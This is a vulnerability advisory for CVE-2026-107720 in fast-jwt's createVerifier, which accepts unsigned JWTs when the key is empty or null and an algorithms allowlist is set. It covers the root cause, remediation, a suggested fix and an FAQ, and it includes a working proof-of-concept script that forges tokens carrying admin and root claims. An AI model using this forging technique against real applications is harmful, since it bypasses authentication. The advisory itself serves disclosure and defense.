CVE-2026-107720: fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/ ... /) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) }
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) }
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
js const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) { throw new TokenError(/ missingSignature /) } else if (!hasKey && signature) { throw new TokenError(/ missingKey /) } // !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/ invalidSignature /) }
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
- createSigner({ key: '' }) / key: null → rejected - createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests) - createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
js // poc-empty-key-bypass.js const { createVerifier } = require('.')
function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return ${h}.${p}. // trailing dot = empty signature }
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true }
// Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FASTJWTMISSINGSIGNATURE
try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FASTJWTINVALIDALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FASTJWTINVALIDKEY
Expected: TokenError with code FASTJWTINVALIDKEY Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWTSECRET || ''), and 2. Sets algorithms to a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } }
Also guard the combination explicitly:
js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') }
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
Other sources
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/fast-jwtto a version that resolves this vulnerability.Fixed in 6.3.1 - Upgrade
Upgrade
fast-jwtto a version that resolves this vulnerability.Fixed in 6.3.1
Event History
Frequently Asked Questions
Which deployments are affected by this issue?
Affected deployments use fast-jwt versions before 6.3.1 and call createVerifier with a synchronous key value of an empty string or null while explicitly supplying a non-empty algorithms allowlist. Deployments using a non-empty key, an empty key without algorithms, or the asynchronous key-resolver path do not exhibit this behavior.
What does an attacker need to exploit it?
An attacker can submit an unsigned JWT with arbitrary claims and does not need to possess a signing key. The token must still satisfy any claim validators configured by the application.
What is the remediation?
Upgrade fast-jwt to version 6.3.1. Until upgrading, avoid configuring createVerifier with a null or empty synchronous key together with a non-empty algorithms allowlist.
How can I identify whether my application is exposed?
Review createVerifier calls and identify configurations where the synchronous key is null or an empty string and algorithms is explicitly set to a non-empty allowlist. Also confirm whether the installed fast-jwt version is earlier than 6.3.1.